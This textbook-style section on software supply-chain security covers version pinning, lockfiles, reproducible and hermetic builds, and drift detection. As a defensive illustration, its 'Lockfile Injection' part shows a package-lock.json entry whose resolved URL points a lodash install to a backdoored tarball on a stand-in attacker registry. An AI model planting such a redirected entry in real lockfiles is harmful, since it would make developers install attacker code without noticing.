Skip to content

13.2 Version Pinning, Lockfiles, and Reproducible Builds

The left-pad incident of March 2016 demonstrated a core dependency-management risk: what you tested isn't always what you can build again later. When maintainer Azer Koçulu unpublished 273 npm packages, builds worldwide began failing—not because code changed, but because expected artifacts were no longer available. This incident underscored why dependency threat models must consider availability alongside integrity.

This section covers the spectrum of version control strategies, from basic version pinning to fully reproducible builds, explaining their security implications and practical implementation.

Version Specifications

How you specify dependency versions determines what your package manager installs. Different strategies balance flexibility against predictability.

Version Specification Types:

Type Example (npm) Behavior Security Implication
Exact 1.2.3 Always this version Maximum predictability
Patch range ~1.2.3 1.2.x (≥1.2.3) Auto-patch updates
Minor range ^1.2.3 1.x.x (≥1.2.3) Auto-feature updates
Major range * or x Any version Maximum flexibility, minimum predictability
Git reference github:user/repo#commit Specific commit Depends on commit specificity

Ecosystem Syntax Comparison:

Ecosystem Exact Patch Range Minor Range Any
npm 1.2.3 ~1.2.3 ^1.2.3 *
pip ==1.2.3 ~=1.2.3 ≥1.2,<2.0 (unpinned allowed)
Maven 1.2.3 [1.2.3,1.3) [1.2.3,2.0) (dynamic versions discouraged)
Go v1.2.3 N/A (MVS) N/A N/A
Cargo =1.2.3 ~1.2.3 ^1.2.3 *

Note on Maven: Avoid LATEST or RELEASE-style dynamic versions; prefer explicit ranges with enforcer/locking tooling.

Security Trade-offs:

Exact Versions (Most Restrictive): - ✅ Strong predictability—same version every time - ✅ Narrows the attack window for update-based compromises - ❌ Does not protect against a compromised pinned release or a compromised registry - ❌ No automatic security patches - ❌ Requires manual updates for every dependency

Range Specifications (Balanced): - ✅ Automatic patch/minor updates - ✅ Security patches can flow automatically - ❌ New versions may introduce vulnerabilities - ❌ Compromised package update affects you automatically

Floating Versions (Most Flexible): - ✅ Always latest features - ❌ Complete unpredictability - ❌ Breaking changes, new vulnerabilities arrive automatically - ❌ Builds can differ between runs

The tradeoff is stark: caret versions offer convenience, but when a maintainer pushes a compromised minor version, your next build automatically includes it. Exact pinning buys time to notice security advisories before malicious code enters your build.

The Version Range Dilemma:

Neither extreme is ideal:

  • Too strict (all exact versions): Security patches don't flow; you must manually update everything
  • Too loose (all ranges): Supply chain attacks flow automatically; builds are unpredictable

Most organizations need strategies that balance both concerns.

Lockfiles: Freezing Resolved Dependencies

Lockfiles record the exact versions resolved during a dependency installation, enabling reproducible installations regardless of version specifications.

Common Lockfiles:

Ecosystem Manifest Lockfile / Integrity
npm package.json package-lock.json
Yarn package.json yarn.lock
pip requirements.txt requirements.txt (pinned) or Pipfile.lock
Pipenv Pipfile Pipfile.lock
Poetry pyproject.toml poetry.lock
uv pyproject.toml uv.lock
Bundler Gemfile Gemfile.lock
Cargo Cargo.toml Cargo.lock
Go go.mod go.sum (checksums, not a lockfile)
Maven pom.xml (no standard; plugins available)
Gradle build.gradle gradle.lockfile (opt-in)

Note on Go: Go uses Minimal Version Selection (MVS) for version resolution. go.sum contains cryptographic checksums for module contents but is not a lockfile in the npm sense—it doesn't pin a single cross-platform resolution snapshot. Version selection is governed by go.mod.

What Lockfiles Contain:

A lockfile typically includes:

// package-lock.json example (simplified)
{
  "name": "my-app",
  "lockfileVersion": 3,
  "packages": {
    "node_modules/lodash": {
      "version": "4.17.21",
      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
    }
  }
}

Key elements: - Exact version: Not a range, the specific resolved version - Resolved URL: Where the package was downloaded from - Integrity hash: Cryptographic hash of package contents

Security Benefits of Lockfiles:

  1. Reproducibility: Same lockfile → same dependencies every time
  2. Integrity verification: Hash ensures package contents match expectations
  3. Attack window reduction: Malicious updates don't affect you until you update the lockfile
  4. Audit trail: Changes to lockfile are visible in version control

Lockfile Best Practices:

  1. Commit lockfiles to version control: They're essential for reproducibility
  2. Use install not update in CI: Install from lockfile, don't regenerate it
  3. Review lockfile changes: Lockfile diffs in PRs show dependency changes
  4. Use integrity checking: Ensure your package manager verifies hashes
# npm: Install from lockfile (CI)
npm ci  # Not npm install

# pip: Install from pinned requirements
pip install -r requirements.txt --require-hashes

# bundler: Install from lockfile
bundle install --frozen

Lockfiles Are Necessary, Not Sufficient:

Lockfile integrity depends on the broader security context:

  • Review and signing: Lockfile changes should be reviewed like code; consider signed commits and protected branches
  • Registry trust: Lockfiles record URLs and hashes from registries you trust; compromised registries compromise lockfiles
  • Provenance attestations: For high assurance, combine lockfiles with SLSA provenance or in-toto attestations
  • CI verification gates: Configure CI to fail if resolved URLs change unexpectedly

Lockfiles are a foundation, not a complete solution.

Lockfile Attack Vectors

Lockfiles improve security but aren't immune to attack.

Lockfile Injection:

Attackers who can modify lockfiles can redirect to malicious packages:

// Malicious lockfile modification
{
  "packages": {
    "node_modules/lodash": {
      "version": "4.17.21",
      "resolved": "https://evil-registry.com/lodash-backdoor.tgz",
      "integrity": "sha512-[hash-of-malicious-package]"
    }
  }
}

If this change slips through code review, the malicious package installs despite the "correct" version number.

Mitigation:

  • Review lockfile changes carefully (especially resolved URLs)
  • Use tooling to flag unexpected registry changes
  • Restrict who can modify lockfiles

Lockfile Confusion:

Automated update tools (e.g., Dependabot, Renovate) treat lockfiles as authoritative inputs. If an attacker can influence lockfile generation or slip malicious lockfile diffs through review, automation can amplify the impact by propagating compromised dependencies across the codebase.

Large Diff Hiding:

Large lockfile diffs can obscure malicious changes:

package-lock.json | +15432 -14891 lines changed

Reviewers may skip reviewing such large diffs, missing injected malicious entries.

Mitigation:

  • Use dedicated lockfile review tools
  • Set up alerts for registry URL changes
  • Consider lockfile-only PRs separate from code changes

Reproducible Builds

Reproducible builds (also called deterministic builds) ensure that given the same source code, build environment, and build instructions, the resulting binary is bit-for-bit identical every time.

Why Reproducibility Matters:

Without reproducibility: - You cannot verify that a binary came from claimed source code - Attackers can inject code during the build process undetectably - "Works on my machine" extends to security: "secure on my machine"

With reproducibility: - Anyone can verify binaries match source - Build compromises become detectable - Multiple independent builds can be compared

The SolarWinds Lesson:

The SolarWinds incident shows why build integrity matters: if artifacts can be independently rebuilt from the same source and instructions, and if consumers verify that equivalence, some forms of build-time tampering become easier to detect. The attack succeeded partly because no independent verification of the build output was in place.

SLSA and Reproducibility:

SLSA (Supply-chain Levels for Software Artifacts) provides a framework for build integrity. SLSA v1.0 organizes requirements into Build Levels:

SLSA Build Level Build Requirements
Build L0 No guarantees (baseline)
Build L1 Provenance exists showing how artifact was built
Build L2 Hosted build platform generates and signs provenance
Build L3 Hardened build platform with isolation between builds

Note: SLSA v1.0 (released April 2023) replaced the earlier v0.1 terminology. The highest levels emphasize build isolation and provenance verification rather than reproducibility per se, though reproducible builds remain a valuable complementary practice.

Reproducibility Challenges:

Many factors cause build non-determinism:

Factor Example Solution
Timestamps Build date embedded in binary Use SOURCE_DATE_EPOCH
File ordering Directory traversal order varies Sort file lists
Random data UUIDs, random seeds Fix seeds, remove randomness
Paths Absolute paths in debug info Normalize paths
Compiler version Different optimization Pin compiler version
Locale settings Sorting, formatting Fix locale

Reproducible Builds Project:

The Reproducible Builds project works toward making all software reproducible:

  • Debian: ~95% of packages reproducible on AMD64 (Debian unstable, per reproducible-builds.org tracking)
  • Arch Linux: Active reproducibility effort
  • Various language ecosystems: Improving support

Hermetic Builds

Hermetic builds are isolated from the network and local environment, using only explicitly declared inputs.

Hermetic Build Properties:

  1. No network access: All dependencies fetched before build, not during
  2. No host system leakage: Build environment is controlled container/sandbox
  3. Declared inputs only: Build cannot access undeclared files
  4. Fixed toolchain: Compiler, linker, tools are versioned and pinned

Implementation Approaches:

Bazel:

Bazel (Google) was designed for hermetic builds:

# WORKSPACE - declare external dependencies
http_archive(
    name = "rules_python",
    sha256 = "abc123...",  # Integrity check
    urls = ["https://github.com/bazelbuild/rules_python/..."],
)

# BUILD - build rules use only declared inputs
py_binary(
    name = "my_app",
    srcs = ["main.py"],
    deps = [":lib"],  # Explicit dependencies
)

Container-Based Builds:

# Hermetic build container
FROM debian:bullseye-20251229@sha256:3bbe51...  # Pinned by digest

# Install build tools at specific versions
RUN apt-get install -y \
    gcc=10.2.1-6 \
    make=4.3-4.1

# Copy source (no network access during build)
COPY . /src

# Build without network
RUN --network=none make -C /src

Nix:

Nix provides hermetic builds through functional package management:

{ pkgs ? import <nixpkgs> {} }:

pkgs.stdenv.mkDerivation {
  name = "my-app";
  src = ./.;
  buildInputs = [ pkgs.python3 ];
  # Build is automatically hermetic
}

Drift Detection

Drift occurs when deployed software differs from what's specified in lockfiles or expected configurations.

Drift Sources:

  • Lockfile not updated after manual intervention
  • CI/CD using different resolution than development
  • Cache serving stale packages
  • Intentional or accidental lockfile bypass

Detection Approaches:

Lockfile Verification:

# npm: Verify package-lock.json matches node_modules
npm ci  # Fails if lockfile doesn't match

# pip: Verify installed packages match
pip-compile --generate-hashes && pip-sync

# bundler: Check for drift
bundle check

Build-Time Verification:

Compare build outputs against expected hashes:

# Build and hash
sha256sum build/output.bin

# Compare against recorded hash
diff <(echo "expected_hash  build/output.bin") <(sha256sum build/output.bin)

Runtime Verification:

Some systems verify at runtime:

// Go: Verify module checksums
go mod verify

Continuous Monitoring:

  • Schedule regular drift checks in CI
  • Alert when installed versions don't match lockfile
  • Track dependency version changes over time

Tooling for Reproducibility Verification

Several tools help verify and achieve reproducibility.

diffoscope:

Compares files and shows exactly where they differ:

# Compare two builds
diffoscope build1/output.bin build2/output.bin

# Output shows exact byte differences with context

reprotest:

Builds packages twice in different environments to test reproducibility:

# Test if a package builds reproducibly
reprotest . 'make && make install'

in-toto:

Framework for securing supply chain integrity:

# Record build steps with signatures
in-toto-record --step-name build -- make
in-toto-record --step-name package -- tar czf output.tar.gz build/

SLSA Provenance Generators:

Generate attestations about build provenance:

# Generate SLSA provenance
slsa-github-generator  # GitHub Action for SLSA provenance

Ecosystem-Specific Best Practices

JavaScript/npm:

# Use package-lock.json
npm ci                           # Install from lockfile in CI
npm install --save-exact         # Add exact versions by default

# Verify integrity (requires npm 8.x+ and registry signature support)
npm audit signatures             # Verify registry signatures

To ensure the integrity of packages downloaded from registries that support signing, npm can verify registry signatures via npm audit signatures. This requires a sufficiently recent npm version and signed metadata from the registry.

Python:

# Use pip-tools for pinning
pip-compile --generate-hashes requirements.in
pip install -r requirements.txt --require-hashes

# Or use Poetry
poetry lock
poetry install --no-root

# Or use uv (fastest option with strong security defaults)
uv lock
uv sync

uv Security Advantages:

uv is a fast Python package manager written in Rust that provides strong supply chain security defaults. Unlike traditional requirements.txt files where hash verification is opt-in, uv generates lockfiles with SHA-256 hashes by default.

Key security features: - Cross-platform lockfiles: uv.lock captures per-environment resolution branches, reducing "it worked on my machine" drift between platforms - Hash verification by default: Every package in uv.lock includes content hashes when available from the index, making hash-based integrity checks easier to adopt in practice - Reproducible resolution: The lockfile captures exact versions, preventing drift between development and production - Significantly faster than pip: Speed encourages regular lockfile updates, reducing the window for supply chain attacks

Note: Cross-platform resolution has limitations—platform markers, native wheels, and optional dependencies may still cause differences between environments.

Go:

# Go modules with checksums
go mod tidy
go mod verify                    # Verify go.sum checksums

# Use Go 1.21+ for improved reproducibility
GOFLAGS="-trimpath" go build

Java/Maven:

<!-- Use versions-maven-plugin -->
<plugin>
    <groupId>org.codehaus.mojo</groupId>
    <artifactId>versions-maven-plugin</artifactId>
</plugin>

<!-- Lock versions -->
mvn versions:lock-snapshots

Rust/Cargo:

# Cargo.lock is automatically created
cargo build --locked              # Fail if Cargo.lock differs

# Verify
cargo verify-project

Recommendations

For Developers:

  1. Use lockfiles. Always commit lockfiles to version control. For high-assurance builds, treat lockfiles as mandatory.

  2. Install from lockfiles in CI. Use npm ci, pip install --require-hashes, or equivalent—not commands that regenerate lockfiles.

  3. Review lockfile changes. Lockfile diffs show what dependencies actually changed. Review them like code.

  4. Pin by digest where possible. For containers and critical dependencies, use content hashes not just versions.

For DevOps Engineers:

  1. Implement hermetic builds. Isolate builds from network and host environment. Use containers or build systems designed for hermeticity.

  2. Enable integrity verification. Configure package managers to verify hashes. Fail builds on verification failure.

  3. Detect drift. Schedule regular checks that installed dependencies match lockfiles. Alert on discrepancies.

  4. Cache carefully. Package caches can serve stale or different versions. Include version and hash in cache keys.

For Security Practitioners:

  1. Audit lockfile pipelines. Ensure automated tools (Dependabot, Renovate) don't create attack vectors through lockfile manipulation.

  2. Verify build reproducibility. For critical software, build independently and compare outputs.

  3. Require provenance. Use SLSA provenance to verify build origins. Require it from vendors.

  4. Monitor for lockfile attacks. Watch for PRs with suspicious lockfile changes, especially registry URL modifications.

Version pinning, lockfiles, and reproducible builds form a continuum of dependency control. Organizations should aim for the highest level practical for their context—exact versions and lockfiles as minimum, hermetic reproducible builds as aspiration for critical software. Each step up the spectrum increases confidence that what you built is what you tested is what you deployed.